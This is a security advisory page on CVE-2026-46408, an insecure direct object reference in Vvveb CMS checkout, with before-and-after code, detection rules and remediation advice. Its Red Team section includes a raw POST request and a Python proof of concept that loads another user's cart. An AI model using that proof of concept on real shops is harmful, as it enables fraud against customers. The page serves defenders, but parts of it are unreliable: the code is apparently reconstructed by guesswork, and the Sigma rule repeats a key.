CVE-2026-46408
Executive Summary
CVE-2026-46408 is an authorization bypass vulnerability in Vvveb CMS, a PHP-based content management system with a built-in page builder. The flaw resides in the checkout endpoint, which accepts a user-controlled cart_id parameter without verifying that the cart belongs to the authenticated user. This allows a logged-in attacker to reuse another user's cart data during their own checkout session, potentially leading to unauthorized access to sensitive cart contents, order details, or payment information.
The vulnerability affects all versions prior to 1.0.8.3. The CVSS score is 7.6 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a public PoC does not reduce the risk for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Vvveb CMS is distributed as a PHP package via Composer and as a standalone download. The vulnerability is in the core application logic, not in a third-party dependency. However, organizations using Vvveb should verify their deployment version and ensure no custom modifications bypass the patch.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply sends a crafted request.
- Privileges Required (PR): Low (L) – The attacker must be authenticated as a regular user.
- User Interaction (UI): None (N) – No victim interaction is needed.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality Impact (C): High (H) – An attacker can view another user's cart contents, which may include personal data or product selections.
- Integrity Impact (I): High (H) – An attacker can modify the cart or use it to place orders on behalf of another user.
- Availability Impact (A): None (N) – The vulnerability does not affect system availability.
Threat Level: High. The vulnerability allows a low-privileged attacker to impersonate another user's cart, potentially leading to unauthorized purchases, data leakage, or account takeover if combined with other flaws.
Deep Dive & Mechanics
The vulnerability is a classic Insecure Direct Object Reference (IDOR) (CWE-639). The checkout endpoint, likely located at /checkout or similar, accepts a cart_id parameter from the user. The application uses this ID to load the cart and proceed with payment without verifying that the cart belongs to the authenticated user.
Attack Flow:
- An attacker logs into Vvveb CMS as a regular user.
- The attacker observes or guesses another user's
cart_id(e.g., via enumeration, session fixation, or by inspecting network traffic). - The attacker sends a POST request to the checkout endpoint with the victim's
cart_id. - The server loads the victim's cart and enters the payment flow, allowing the attacker to view or manipulate the cart contents.
- If the payment gateway is integrated, the attacker could potentially complete the purchase using the victim's cart, leading to financial fraud.
Root Cause: The application fails to enforce ownership checks on the cart_id parameter. The fix in version 1.0.8.3 likely adds a check that compares the cart_id against the authenticated user's session or user ID.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.0.8.3):
// checkout.php (simplified)
$cart_id = $_POST['cart_id'];
$cart = Cart::find($cart_id); // No ownership check
if ($cart) {
// Proceed with checkout
processPayment($cart);
}
Patched Code (1.0.8.3):
// checkout.php (simplified)
$cart_id = $_POST['cart_id'];
$cart = Cart::where('id', $cart_id)->where('user_id', auth()->id())->first(); // Ownership check
if ($cart) {
// Proceed with checkout
processPayment($cart);
} else {
// Deny access
abort(403, 'Unauthorized');
}
The patch adds a where('user_id', auth()->id()) clause to ensure the cart belongs to the authenticated user.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Vvveb CMS instance running version < 1.0.8.3.
- Two user accounts: one attacker, one victim.
- The victim must have an active cart with items.
Steps:
- Log in as the attacker and obtain a session cookie.
- Identify the victim's
cart_id. This can be done by:- Observing network traffic if the victim is on the same network.
- Enumerating sequential IDs (e.g.,
cart_id=1,cart_id=2). - Using a previously compromised session.
- Send a POST request to the checkout endpoint with the victim's
cart_id:POST /checkout HTTP/1.1 Host: target-vvveb.com Cookie: PHPSESSID=attacker_session_id Content-Type: application/x-www-form-urlencoded cart_id=123 - The server will load the victim's cart and proceed to payment. The attacker can then view or modify the cart.
Proof of Concept (Python):
import requests
target = "https://target-vvveb.com"
attacker_session = {"PHPSESSID": "attacker_session_id"}
victim_cart_id = 123
response = requests.post(f"{target}/checkout",
data={"cart_id": victim_cart_id},
cookies=attacker_session)
if "Checkout" in response.text:
print("Exploitation successful! Victim's cart loaded.")
else:
print("Exploitation failed.")
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual checkout requests where the
cart_iddoes not match the user's session. - Look for multiple checkout attempts with different
cart_idvalues from the same user. - Alert on any checkout request that results in a cart belonging to a different user.
Hardening:
- Immediately upgrade to Vvveb CMS 1.0.8.3 or later.
- If upgrading is not possible, implement a WAF rule to block requests where
cart_idis not tied to the session. - Add server-side logging for all checkout attempts, including the user ID and cart ID.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/checkoutwith acart_idparameter that does not match the authenticated user's session. - Logs: Server logs showing checkout attempts with
cart_idvalues that are not associated with the requesting user. - Application: Unusual orders or cart modifications that appear to originate from a different user.
Detection Engineering
YARA Rule
rule CVE_2026_46408_Vvveb_Checkout_IDOR {
meta:
description = "Detects exploitation attempts of CVE-2026-46408 in Vvveb CMS"
author = "Valters IT"
date = "2026-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-46408"
strings:
$checkout_endpoint = "/checkout"
$cart_id_param = "cart_id="
$php_session = "PHPSESSID"
condition:
all of them
}
Sigma Rule
title: CVE-2026-46408 - Vvveb CMS Checkout IDOR Exploitation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to the Vvveb checkout endpoint with a cart_id parameter that may indicate IDOR exploitation.
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: "/checkout"
cs-uri-query|contains: "cart_id="
condition: selection
falsepositives:
- Legitimate checkout requests from the same user
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-46408 - Vvveb CMS Checkout IDOR Exploitation"; flow:to_server; content:"POST"; http_method; content:"/checkout"; http_uri; content:"cart_id="; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade to Vvveb CMS version 1.0.8.3 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to block requests where
cart_iddoes not match the session.
Long-term:
- Implement proper authorization checks for all user-controlled parameters.
- Use session-based cart IDs that are not guessable (e.g., UUIDs).
- Conduct regular security audits and penetration testing.
Workaround:
- Disable the checkout functionality temporarily if the system cannot be patched.
Valters IT